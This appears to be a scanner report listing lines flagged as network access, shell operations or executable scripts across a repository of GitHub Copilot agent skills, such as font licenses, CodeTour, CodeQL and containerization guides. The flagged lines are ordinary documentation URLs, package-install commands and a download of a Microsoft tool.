This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/skills/canvas-design/canvas-fonts/Jura-OFL.txt
- Network accessline 1
Copyright 2019 The Jura Project Authors (https://github.com/ossobuffo/jura) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/skills/canvas-design/canvas-fonts/LibreBaskerville-OFL.txt
- Network accessline 1
Copyright 2012 The Libre Baskerville Project Authors (https://github.com/impallari/Libre-Baskerville) with Reserved Font Name Libre Baskerville. - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/skills/canvas-design/canvas-fonts/Lora-OFL.txt
- Network accessline 1
Copyright 2011 The Lora Project Authors (https://github.com/cyrealtype/Lora-Cyrillic), with Reserved Font Name "Lora". - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/skills/canvas-design/canvas-fonts/NationalPark-OFL.txt
- Network accessline 1
Copyright 2025 The National Park Project Authors (https://github.com/benhoepner/National-Park) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/skills/canvas-design/canvas-fonts/NothingYouCouldDo-OFL.txt
harness/github-copilot/skills/canvas-design/canvas-fonts/Outfit-OFL.txt
- Network accessline 1
Copyright 2021 The Outfit Project Authors (https://github.com/Outfitio/Outfit-Fonts) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/skills/canvas-design/canvas-fonts/PixelifySans-OFL.txt
- Network accessline 1
Copyright 2021 The Pixelify Sans Project Authors (https://github.com/eifetx/Pixelify-Sans) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/skills/canvas-design/canvas-fonts/PoiretOne-OFL.txt
harness/github-copilot/skills/canvas-design/canvas-fonts/RedHatMono-OFL.txt
- Network accessline 1
Copyright 2024 The Red Hat Project Authors (https://github.com/RedHatOfficial/RedHatFont) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/skills/canvas-design/canvas-fonts/Silkscreen-OFL.txt
- Network accessline 1
Copyright 2001 The Silkscreen Project Authors (https://github.com/googlefonts/silkscreen) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/skills/canvas-design/canvas-fonts/SmoochSans-OFL.txt
- Network accessline 1
Copyright 2016 The Smooch Sans Project Authors (https://github.com/googlefonts/smooch-sans) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/skills/canvas-design/canvas-fonts/Tektur-OFL.txt
- Network accessline 1
Copyright 2023 The Tektur Project Authors (https://www.github.com/hyvyys/Tektur) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/skills/canvas-design/canvas-fonts/WorkSans-OFL.txt
- Network accessline 1
Copyright 2019 The Work Sans Project Authors (https://github.com/weiweihuanghuang/Work-Sans) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/skills/canvas-design/canvas-fonts/YoungSerif-OFL.txt
- Network accessline 1
Copyright 2023 The Young Serif Project Authors (https://github.com/noirblancrouge/YoungSerif) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/skills/chaos-engineering/SKILL.md
- Network accessline 140
- [Principles of Chaos Engineering](https://principlesofchaos.org/) - Network accessline 141
- [AWS Fault Injection Service](https://docs.aws.amazon.com/fis/latest/userguide/what-is.html) - Network accessline 142
- [Azure Chaos Studio](https://learn.microsoft.com/en-us/azure/chaos-studio/chaos-studio-overview) - Network accessline 143
- [Chaos Mesh](https://chaos-mesh.org/docs/)
harness/github-copilot/skills/cloud-design-patterns/SKILL.md
harness/github-copilot/skills/code-tour/SKILL.md
- Network accessline 21
- CodeTour files live in `.tours/` and use the VS Code CodeTour extension: https://github.com/microsoft/codetour. - Network accessline 106
{ "$schema": "https://aka.ms/codetour-schema", - Network accessline 107
"$schema": "https://aka.ms/codetour-schema", - Network accessline 130
| Explain a function or class body | `selection` | Use when a block matters more than one line. | | Anchor volatile code | `pattern` | Regex must compile and match a real line in the file. | | Provide PR, issue, or doc context | `uri` | Com - Network accessline 131
| Anchor volatile code | `pattern` | Regex must compile and match a real line in the file. | | Provide PR, issue, or doc context | `uri` | Complete real URL beginning with `https://`; examples include `https://{example-url}`. | | Focus a VS - Network accessline 132
| Provide PR, issue, or doc context | `uri` | Complete real URL beginning with `https://`; examples include `https://{example-url}`. | - Network accessline 164
| What to study | URL | | --- | --- | | `directory` + `file+line` contributor onboarding | https://github.com/coder/code-server/blob/main/.tours/contributing.tour | - Network accessline 165
| --- | --- | | `directory` + `file+line` contributor onboarding | https://github.com/coder/code-server/blob/main/.tours/contributing.tour | | `selection` + `file+line` + intro content step | https://github.com/a11yproject/a11yproject.com/b - Network accessline 166
| `directory` + `file+line` contributor onboarding | https://github.com/coder/code-server/blob/main/.tours/contributing.tour | - Network accessline 167
| `selection` + `file+line` + intro content step | https://github.com/a11yproject/a11yproject.com/blob/main/.tours/code-tour.tour | - Network accessline 168
| Minimal tutorial with tight `file+line` narration | https://github.com/lostintangent/rock-paper-scissors/blob/master/main.tour | - Network accessline 169
| Search for more `.tour` files | https://github.com/search?q=path%3A**%2F*.tour+&type=code | - Network accessline 171
Raw content tip: prefix `raw.githubusercontent.com` and drop `/blob/` for raw JSON access. For public repositories, users can open tours at `https://vscode.dev/github.com/<owner>/<repo>`. - Network accessline 224
### Share and follow-up - Public URL: `https://vscode.dev/github.com/<owner>/<repo>` or not available - Network accessline 225
- Public URL: `https://vscode.dev/github.com/<owner>/<repo>` or not available - Network accessline 236
- [ ] Every `directory` path is relative to repo root and exists. - [ ] Every `pattern` regex compiles and matches a real line. - [ ] Every `uri` is a complete real URL beginning with `https://`. - Network accessline 237
- [ ] Every `pattern` regex compiles and matches a real line. - [ ] Every `uri` is a complete real URL beginning with `https://`. - [ ] `ref` is a real branch, tag, or commit when set. - Network accessline 238
- [ ] Every `uri` is a complete real URL beginning with `https://`. - Network accessline 249
- [VS Code CodeTour extension](https://github.com/microsoft/codetour) - Network accessline 250
- [CodeTour schema URL](https://aka.ms/codetour-schema) - Network accessline 251
- [Code server contributing tour](https://github.com/coder/code-server/blob/main/.tours/contributing.tour) - Network accessline 252
- [A11y project code tour](https://github.com/a11yproject/a11yproject.com/blob/main/.tours/code-tour.tour) - Network accessline 253
- [Rock paper scissors main tour](https://github.com/lostintangent/rock-paper-scissors/blob/master/main.tour) - Network accessline 254
- [GitHub Code Search for tours](https://github.com/search?q=path%3A**%2F*.tour+&type=code)
harness/github-copilot/skills/code-tour/references/codetour-schema.json
- Network accessline 1
{ "$schema": "http://json-schema.org/draft-04/schema#", - Network accessline 2
"$schema": "http://json-schema.org/draft-04/schema#", - Network accessline 59
"uri": { "type": "string", "description": "Absolute URI (https://{example-url}) associated with the step. Use for PRs, issues, docs, ADRs." - Network accessline 60
"type": "string", "description": "Absolute URI (https://{example-url}) associated with the step. Use for PRs, issues, docs, ADRs." }, - Network accessline 61
"description": "Absolute URI (https://{example-url}) associated with the step. Use for PRs, issues, docs, ADRs."
harness/github-copilot/skills/code-tour/references/examples.md
- Network accessline 10
**Tour file:** https://github.com/microsoft/codetour/blob/main/.tours/intro.tour - Network accessline 24
"file": "src/player/index.ts", "line": 436, "description": "### Tour Player\n\nThe CodeTour player ...\n\n\n\nSee also: [Gutter decorator](./src/player/ - Network accessline 25
"line": 436, "description": "### Tour Player\n\nThe CodeTour player ...\n\n\n\nSee also: [Gutter decorator](./src/player/decorator.ts)" } - Network accessline 26
"description": "### Tour Player\n\nThe CodeTour player ...\n\n\n\nSee also: [Gutter decorator](./src/player/decorator.ts)" - Network accessline 34
**Tour file:** https://github.com/a11yproject/a11yproject.com/blob/main/.tours/code-tour.tour - Network accessline 57
**Tour file:** https://github.com/github/codespaces-codeql/blob/main/.tours/codeql-tutorial.tour - Network accessline 85
**Tour file:** https://github.com/github/codespaces-learn-with-me/blob/main/.tours/main.tour - Network accessline 101
**Tour file:** https://github.com/blackgirlbytes/copilot-todo-list/blob/main/.tours/main.tour - Network accessline 123
**Tour files:** - https://github.com/lucasjellema/cloudnative-on-oci-2021/blob/main/.tours/function-tweet-retriever.tour - Network accessline 124
- https://github.com/lucasjellema/cloudnative-on-oci-2021/blob/main/.tours/function-tweet-retriever.tour - Network accessline 125
- https://github.com/lucasjellema/cloudnative-on-oci-2021/blob/main/.tours/oci-and-infrastructure-as-code.tour - Network accessline 126
- https://github.com/lucasjellema/cloudnative-on-oci-2021/blob/main/.tours/build-and-deployment-pipeline-function-tweet-retriever.tour - Network accessline 165
| `selection: {start, end}` | Highlight a block (function body, config section, type def) | a11yproject, oci-2021, codespaces-codeql | | `directory: "path/"` | Orient to a folder without reading every file | a11yproject, codespaces-codeql | - Network accessline 166
| `directory: "path/"` | Orient to a folder without reading every file | a11yproject, codespaces-codeql | | `uri: "https://{example-url}"` | Link to PR, issue, RFC, ADR, external doc | Any PR review tour | | `nextTour: "Title"` | Chain tour - Network accessline 167
| `uri: "https://{example-url}"` | Link to PR, issue, RFC, ADR, external doc | Any PR review tour | - Network accessline 177
**Search all `.tour` files on GitHub:** https://github.com/search?q=path%3A**%2F*.tour+&type=code - Network accessline 178
https://github.com/search?q=path%3A**%2F*.tour+&type=code - Network accessline 191
- **DEV Community — "Onboard your codebase with CodeTour"**: https://dev.to/tobiastimm/onboard-your-codebase-with-codetour-2jc8 - Network accessline 192
- **Coder Blog — "Onboard to new projects faster with CodeTour"**: https://coder.com/blog/onboard-to-new-projects-faster-with-codetour - Network accessline 193
- **CodeTour GitHub Topics**: https://github.com/topics/codetour
harness/github-copilot/skills/code-tour/scripts/generate_from_docs.py
harness/github-copilot/skills/code-tour/scripts/validate_tour.py
- Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 11
- Directory paths that exist - Pattern regexes that compile AND match at least one line - URI format (must start with https://) - Network accessline 11
- Directory paths that exist - Pattern regexes that compile AND match at least one line - URI format (must start with https://) - Network accessline 12
- Pattern regexes that compile AND match at least one line - URI format (must start with https://) - nextTour matches an existing tour title in .tours/ - Network accessline 12
- Pattern regexes that compile AND match at least one line - URI format (must start with https://) - nextTour matches an existing tour title in .tours/ - Network accessline 13
- URI format (must start with https://) - Network accessline 13
- URI format (must start with https://) - Network accessline 218
uri = step["uri"] if not uri.startswith("https://") and not uri.startswith("http://"): warnings.append(f"{label}: URI should start with https://: {uri!r}") - Network accessline 218
uri = step["uri"] if not uri.startswith("https://") and not uri.startswith("http://"): warnings.append(f"{label}: URI should start with https://: {uri!r}") - Network accessline 220
warnings.append(f"{label}: URI should start with https://: {uri!r}") - Network accessline 220
warnings.append(f"{label}: URI should start with https://: {uri!r}")
harness/github-copilot/skills/codeql/SKILL.md
- Network accessline 22
- Advanced setup uses `.github/workflows/codeql.yml` and may use `.github/codeql/codeql-config.yml`. - CLI uploads require `GITHUB_TOKEN` with `security-events: write` plus repository, ref, and commit metadata. - Use the CodeQL bundle from - Network accessline 24
- Use the CodeQL bundle from https://github.com/github/codeql-action/releases, not a standalone CLI download, so bundled queries and precompiled packs match the CLI. - Network accessline 237
- [CodeQL Action releases](https://github.com/github/codeql-action/releases)
harness/github-copilot/skills/codeql/references/cli-commands.md
- Network accessline 9
Always download the CodeQL bundle (CLI + precompiled queries) from: [https://github.com/github/codeql-action/releases](https://github.com/github/codeql-action/releases) - Network accessline 10
[https://github.com/github/codeql-action/releases](https://github.com/github/codeql-action/releases)
harness/github-copilot/skills/codeql/references/compiled-languages.md
- Dangerous shell operationline 52
- **Auto-install dependencies:** Set `CODEQL_EXTRACTOR_CPP_AUTOINSTALL_DEPENDENCIES=true` (enabled by default on GitHub-hosted; disabled on self-hosted). Requires Ubuntu with passwordless `sudo apt-get`.
harness/github-copilot/skills/codeql/references/sarif-output.md
- Network accessline 9
- Specification: [OASIS SARIF v2.1.0](https://docs.oasis-open.org/sarif/sarif/v2.1.0/sarif-v2.1.0.html) - Network accessline 10
- Schema: [sarif-schema-2.1.0.json](https://docs.oasis-open.org/sarif/sarif/v2.1.0/errata01/os/schemas/sarif-schema-2.1.0.json) - Network accessline 258
Validate SARIF files before upload using the [Microsoft SARIF validator](https://sarifweb.azurewebsites.net/).
harness/github-copilot/skills/codeql/references/troubleshooting.md
harness/github-copilot/skills/commit-message-storyteller/SKILL.md
- Network accessline 28
Use https://www.conventionalcommits.org/ as the specification source. Read `references/conventional-commits-guide.md` when examples or scope guidance are needed.
harness/github-copilot/skills/commit-message-storyteller/references/conventional-commits-guide.md
- Network accessline 3
Full spec: https://www.conventionalcommits.org/en/v1.0.0/
harness/github-copilot/skills/competitor-ad-intelligence/SKILL.md
- Network accessline 7
author: GooseWorks compatibility: Cross-platform. Uses web search and public ad libraries only; no API keys or credentials required. source: https://github.com/gooseworks-ai/goose-skills - Network accessline 8
compatibility: Cross-platform. Uses web search and public ad libraries only; no API keys or credentials required. source: https://github.com/gooseworks-ai/goose-skills version: "1.0" - Network accessline 9
source: https://github.com/gooseworks-ai/goose-skills - Network accessline 58
| Source | Direct URL or query | Collect | | --- | --- | --- | | Meta Ad Library | `https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>` | Ad copy, visual type, CTA, landing p - Network accessline 59
| --- | --- | --- | | Meta Ad Library | `https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>` | Ad copy, visual type, CTA, landing page URL, active duration, platforms, A/B va - Network accessline 60
| Meta Ad Library | `https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>` | Ad copy, visual type, CTA, landing page URL, active duration, platforms, A/B variations | - Network accessline 61
| Meta search | `web_search: site:facebook.com/ads/library "[competitor_name]"`; `web_search: "[competitor_name]" Meta Ad Library active ads`; `web_search: "[competitor_name]" facebook ads examples` | Publicly indexed ad examples and librar - Network accessline 62
| Google Ads Transparency Center | `https://adstransparency.google.com/?search_text=<competitor_name>` | Headline variants, description lines, ad type, landing page URL, geographic targeting if visible | | Google search | `web_search: site: - Network accessline 281
- [GooseWorks source skill](https://github.com/gooseworks-ai/goose-skills) - Network accessline 282
- [Meta Ad Library search pattern](https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>) - Network accessline 283
- [Google Ads Transparency Center search pattern](https://adstransparency.google.com/?search_text=<competitor_name>)
harness/github-copilot/skills/containerize-aspnet-framework/SKILL.md
- Network accessline 95
- The Windows Server SKU specified in containerization settings (Core or Full) - The Windows Server version specified in containerization settings (2016, 2019, or 2022) - Windows Server Core tags can be found at: https://github.com/mi - Network accessline 96
- The Windows Server version specified in containerization settings (2016, 2019, or 2022) - Windows Server Core tags can be found at: https://github.com/microsoft/dotnet-framework-docker/blob/main/README.aspnet.md#full-tag-listing 5. Ens - Network accessline 97
- Windows Server Core tags can be found at: https://github.com/microsoft/dotnet-framework-docker/blob/main/README.aspnet.md#full-tag-listing - Network accessline 133
- Copy the `LogMonitorConfig.json` file to a directory in the container (e.g., C:\LogMonitor) - Download LogMonitor.exe from the Microsoft repository to the same directory - The correct LogMonitor.exe URL is: https://githu - Network accessline 134
- Download LogMonitor.exe from the Microsoft repository to the same directory - The correct LogMonitor.exe URL is: https://github.com/microsoft/windows-container-tools/releases/download/v2.1.1/LogMonitor.exe - Set the work - Network accessline 135
- The correct LogMonitor.exe URL is: https://github.com/microsoft/windows-container-tools/releases/download/v2.1.1/LogMonitor.exe - Network accessline 332
# Copy LogMonitor from the microsoft/windows-container-tools repository WORKDIR /LogMonitor RUN curl -fSLo LogMonitor.exe https://github.com/microsoft/windows-container-tools/releases/download/v2.1.1/LogMonitor.exe - Network accessline 333
WORKDIR /LogMonitor RUN curl -fSLo LogMonitor.exe https://github.com/microsoft/windows-container-tools/releases/download/v2.1.1/LogMonitor.exe # Copy LogMonitorConfig.json from local files - Network accessline 334
RUN curl -fSLo LogMonitor.exe https://github.com/microsoft/windows-container-tools/releases/download/v2.1.1/LogMonitor.exe - Network accessline 432
- [ ] `docker build -t aspnet-app:latest .` was run, or the report explains why Docker build could not run in the current environment. ## References - [.NET Framework Docker ASP.NET image tags](https://github.com/microsoft/dotnet-framework- - Network accessline 433
## References - [.NET Framework Docker ASP.NET image tags](https://github.com/microsoft/dotnet-framework-docker/blob/main/README.aspnet.md#full-tag-listing) - [Windows container LogMonitor.exe](https://github.com/microsoft/windows-container - Network accessline 434
- [.NET Framework Docker ASP.NET image tags](https://github.com/microsoft/dotnet-framework-docker/blob/main/README.aspnet.md#full-tag-listing) - Network accessline 435
- [Windows container LogMonitor.exe](https://github.com/microsoft/windows-container-tools/releases/download/v2.1.1/LogMonitor.exe)
harness/github-copilot/skills/containerize-aspnetcore/SKILL.md
- Network accessline 21
Use the user's request and the repository to identify the project path and settings. Defaults apply when the user omits a setting: .NET `8.0`, Linux distribution `debian`, no custom build/run base image, primary HTTP port `8080`, `ASPNETCOR - Network accessline 39
Keep the original settings vocabulary when translating user input: `[square brackets]`, `File/directory`, `Files/directories`, `[ProjectName (provide path to .csproj file)]`, `[8.0 or 9.0 (Default 8.0)]`, `[Specify base image to use for bui - Network accessline 52
3. Determine the .NET version by checking `TargetFramework`; map `net8.0` to `8.0` and `net9.0` to `9.0` unless the user overrides it. 4. Select valid Microsoft base images unless custom images are specified. Preserve these documentation so - Network accessline 53
4. Select valid Microsoft base images unless custom images are specified. Preserve these documentation sources when choosing tags: - SDK image tags: https://github.com/dotnet/dotnet-docker/blob/main/README.sdk.md - ASP.NET Core runtim - Network accessline 54
- SDK image tags: https://github.com/dotnet/dotnet-docker/blob/main/README.sdk.md - Network accessline 55
- ASP.NET Core runtime image tags: https://github.com/dotnet/dotnet-docker/blob/main/README.aspnet.md - Network accessline 56
- .NET runtime image tags: https://github.com/dotnet/dotnet-docker/blob/main/README.runtime.md - Network accessline 69
| Build configuration | Use `ARG BUILD_CONFIGURATION=Release`; pass `$BUILD_CONFIGURATION` to `dotnet build` and `dotnet publish` | | Runtime user | Use `USER $APP_UID` by default. Do not create a new user unless the settings require it | | - Network accessline 70
| Runtime user | Use `USER $APP_UID` by default. Do not create a new user unless the settings require it | | URL binding | Set `ASPNETCORE_URLS=http://+:8080` unless the settings provide a different value | | Entry point | Use `ENTRYPOINT [ - Network accessline 71
| URL binding | Set `ASPNETCORE_URLS=http://+:8080` unless the settings provide a different value | - Network accessline 90
COPY --from=build /app/publish . ENV ASPNETCORE_ENVIRONMENT=Production ENV ASPNETCORE_URLS=http://+:8080 - Network accessline 91
ENV ASPNETCORE_ENVIRONMENT=Production ENV ASPNETCORE_URLS=http://+:8080 EXPOSE 8080 - Network accessline 92
ENV ASPNETCORE_URLS=http://+:8080 - Network accessline 93
EXPOSE 8080 HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \ CMD curl -f http://localhost:8080/health || exit 1 - Network accessline 94
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 CMD curl -f http://localhost:8080/health || exit 1 - Network accessline 95
CMD curl -f http://localhost:8080/health || exit 1 - Network accessline 104
| Distribution | SDK example | ASP.NET runtime example | Package manager note | | --- | --- | --- | --- | | Debian 12 | `mcr.microsoft.com/dotnet/sdk:8.0-bookworm-slim` or `9.0-bookworm-slim` | `mcr.microsoft.com/dotnet/aspnet:8.0-bookworm- - Network accessline 105
| --- | --- | --- | --- | | Debian 12 | `mcr.microsoft.com/dotnet/sdk:8.0-bookworm-slim` or `9.0-bookworm-slim` | `mcr.microsoft.com/dotnet/aspnet:8.0-bookworm-slim` or `9.0-bookworm-slim` | `apt-get update && apt-get install -y curl wget c - Dangerous shell operationline 106
| Debian 12 | `mcr.microsoft.com/dotnet/sdk:8.0-bookworm-slim` or `9.0-bookworm-slim` | `mcr.microsoft.com/dotnet/aspnet:8.0-bookworm-slim` or `9.0-bookworm-slim` | `apt-get update && apt-get install -y curl wget ca-certificates libgdiplus - Network accessline 106
| Debian 12 | `mcr.microsoft.com/dotnet/sdk:8.0-bookworm-slim` or `9.0-bookworm-slim` | `mcr.microsoft.com/dotnet/aspnet:8.0-bookworm-slim` or `9.0-bookworm-slim` | `apt-get update && apt-get install -y curl wget ca-certificates libgdiplus - Network accessline 107
| Ubuntu 24.04 | `mcr.microsoft.com/dotnet/sdk:8.0-noble` or `9.0-noble` | `mcr.microsoft.com/dotnet/aspnet:8.0-noble` or `9.0-noble` | Use `apt-get` | | Alpine Linux | `mcr.microsoft.com/dotnet/sdk:8.0-alpine` or `9.0-alpine` | `mcr.micros - Network accessline 108
| Alpine Linux | `mcr.microsoft.com/dotnet/sdk:8.0-alpine` or `9.0-alpine` | `mcr.microsoft.com/dotnet/aspnet:8.0-alpine` or `9.0-alpine` | `apk update && apk add --no-cache curl ca-certificates` | - Network accessline 110
| Azure Linux / Mariner | Standard SDK image or approved custom image | `mcr.microsoft.com/dotnet/aspnet:8.0-azurelinux3.0` or `9.0-azurelinux3.0` | `tdnf update -y && tdnf install -y curl ca-certificates && tdnf clean all` | - Network accessline 229
- [Microsoft .NET SDK image tags](https://github.com/dotnet/dotnet-docker/blob/main/README.sdk.md) - Network accessline 230
- [Microsoft ASP.NET Core runtime image tags](https://github.com/dotnet/dotnet-docker/blob/main/README.aspnet.md) - Network accessline 231
- [Microsoft .NET runtime image tags](https://github.com/dotnet/dotnet-docker/blob/main/README.runtime.md)
harness/github-copilot/skills/contract-testing/SKILL.md
harness/github-copilot/skills/conventional-branch/SKILL.md
harness/github-copilot/skills/convert-excel-to-md/references/setup.md
- Dangerous shell operationline 16
- Linux (Debian/Ubuntu): `sudo apt-get update && sudo apt-get install -y python3 python3-pip python-is-python3`
harness/github-copilot/skills/convert-excel-to-md/scripts/convert_excel_to_md.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 64
_REL_NS = "http://schemas.openxmlformats.org/package/2006/relationships" - Network accessline 65
_MAIN_NS = "http://schemas.openxmlformats.org/spreadsheetml/2006/main" - Network accessline 66
_R_NS = "http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 67
_A_NS = "http://schemas.openxmlformats.org/drawingml/2006/main"
harness/github-copilot/skills/convert-pdf-to-md/references/setup.md
- Dangerous shell operationline 16
- Linux (Debian/Ubuntu): `sudo apt-get update && sudo apt-get install -y python3 python3-pip python-is-python3`
harness/github-copilot/skills/convert-pdf-to-md/scripts/convert_pdf_to_md.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/convert-plaintext-to-md/SKILL.md
- Network accessline 160
- [GitHub basic writing and formatting syntax](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax) - Network accessline 161
- [Markdown Guide extended syntax](https://www.markdownguide.org/extended-syntax/) - Network accessline 162
- [Azure DevOps Markdown guidance](https://learn.microsoft.com/en-us/azure/devops/project/wiki/markdown-guidance?view=azure-devops)
harness/github-copilot/skills/convert-word-to-md/references/setup.md
- Dangerous shell operationline 16
- Linux (Debian/Ubuntu): `sudo apt-get update && sudo apt-get install -y python3 python3-pip python-is-python3`
harness/github-copilot/skills/convert-word-to-md/scripts/convert_word_to_md.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 53
_W_NS = "http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 54
_R_NS = "http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 55
_REL_NS = "http://schemas.openxmlformats.org/package/2006/relationships"
harness/github-copilot/skills/copilot-cli-quickstart/SKILL.md
- Network accessline 162
> Getting started is easy! Here's how: >- **Already have GitHub CLI?** `gh copilot` (built-in, no install needed) >- **Need GitHub CLI first?** Visit [cli.github.com](https://cli.github.com) to install `gh`, then run `gh copilot` - Network accessline 163
>- **Already have GitHub CLI?** `gh copilot` (built-in, no install needed) >- **Need GitHub CLI first?** Visit [cli.github.com](https://cli.github.com) to install `gh`, then run `gh copilot` >- **Requires:** A GitHub Copilot subscrip - Network accessline 164
>- **Need GitHub CLI first?** Visit [cli.github.com](https://cli.github.com) to install `gh`, then run `gh copilot` - Network accessline 165
>- **Requires:** A GitHub Copilot subscription ([check here](https://github.com/settings/copilot)) - Network accessline 195
- **If subscription issues:** "It looks like Copilot might not be enabled for your account. Check [github.com/settings/copilot](https://github.com/settings/copilot) to confirm you have an active subscription. If you're in an organization, y
harness/github-copilot/skills/copilot-cli-quickstart/references/extended-guide.md
- Network accessline 465
• /model — try different AI models • /mcp — extend with MCP servers • https://docs.github.com/copilot — official docs - Network accessline 467
• https://docs.github.com/copilot — official docs - Network accessline 485
• Try the Developer track for deeper skills • /help — see ALL available commands • https://docs.github.com/copilot — official docs - Network accessline 487
• https://docs.github.com/copilot — official docs - Network accessline 496
1. **Consult the latest docs** (for example, https://docs.github.com/copilot) or any available local documentation tools to ensure accuracy - Network accessline 545
### If `fetch_copilot_cli_documentation` fails or returns empty: - Don't panic! Answer from your built-in knowledge - Add a note: "I'm answering from memory — for the very latest info, check https://docs.github.com/copilot " - Network accessline 546
- Don't panic! Answer from your built-in knowledge - Add a note: "I'm answering from memory — for the very latest info, check https://docs.github.com/copilot " - Never fabricate features or commands - Network accessline 547
- Add a note: "I'm answering from memory — for the very latest info, check https://docs.github.com/copilot "
harness/github-copilot/skills/copilot-pr-autopilot/SKILL.md
- Network accessline 70
| Issue | Resolution | | --- | --- | | `prerequisite missing — gh CLI is not on PATH` | Install `gh` from `https://cli.github.com` or with `winget install GitHub.cli` on Windows and `brew install gh` on macOS; then run `gh auth login`. Surf - Network accessline 71
| --- | --- | | `prerequisite missing — gh CLI is not on PATH` | Install `gh` from `https://cli.github.com` or with `winget install GitHub.cli` on Windows and `brew install gh` on macOS; then run `gh auth login`. Surface the script message - Network accessline 72
| `prerequisite missing — gh CLI is not on PATH` | Install `gh` from `https://cli.github.com` or with `winget install GitHub.cli` on Windows and `brew install gh` on macOS; then run `gh auth login`. Surface the script message and stop. | - Network accessline 129
- [GitHub CLI](https://cli.github.com)
harness/github-copilot/skills/copilot-pr-autopilot/scripts/01-request-review.ps1
harness/github-copilot/skills/copilot-pr-autopilot/scripts/02-check-review-status.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/skills/copilot-pr-autopilot/scripts/03-list-open-threads.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/skills/copilot-pr-autopilot/scripts/08-reply-and-resolve.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/skills/copilot-pr-autopilot/scripts/09-review-round.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/skills/copilot-pr-autopilot/scripts/10-cleanup-outdated.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/skills/copilot-pr-autopilot/scripts/_lib.ps1
- Executable scriptline 1
Executable file - Network accessline 47
- winget install --id GitHub.cli (Windows) - brew install gh (macOS) - sudo apt install gh (Debian/Ubuntu — see https://cli.github.com for other distros) - Network accessline 48
- brew install gh (macOS) - sudo apt install gh (Debian/Ubuntu — see https://cli.github.com for other distros) - https://cli.github.com/ (universal installer + download) - Dangerous shell operationline 49
- sudo apt install gh (Debian/Ubuntu — see https://cli.github.com for other distros) - Network accessline 49
- sudo apt install gh (Debian/Ubuntu — see https://cli.github.com for other distros) - Network accessline 50
- https://cli.github.com/ (universal installer + download)
harness/github-copilot/skills/copilot-sdk/SKILL.md
harness/github-copilot/skills/copilot-sdk/references/extended-guide.md
- Network accessline 350
github: { type: "http", url: "https://api.githubcopilot.com/mcp/", - Network accessline 351
type: "http", url: "https://api.githubcopilot.com/mcp/", }, - Network accessline 352
url: "https://api.githubcopilot.com/mcp/", - Network accessline 364
"github": { "type": "http", "url": "https://api.githubcopilot.com/mcp/", - Network accessline 365
"type": "http", "url": "https://api.githubcopilot.com/mcp/", }, - Network accessline 366
"url": "https://api.githubcopilot.com/mcp/", - Network accessline 378
"github": { "type": "http", "url": "https://api.githubcopilot.com/mcp/", - Network accessline 379
"type": "http", "url": "https://api.githubcopilot.com/mcp/", }, - Network accessline 380
"url": "https://api.githubcopilot.com/mcp/", - Network accessline 395
{ Type = "http", Url = "https://api.githubcopilot.com/mcp/", - Network accessline 396
Type = "http", Url = "https://api.githubcopilot.com/mcp/", }, - Network accessline 397
Url = "https://api.githubcopilot.com/mcp/", - Network accessline 704
- **GitHub Repository**: https://github.com/github/copilot-sdk - Network accessline 705
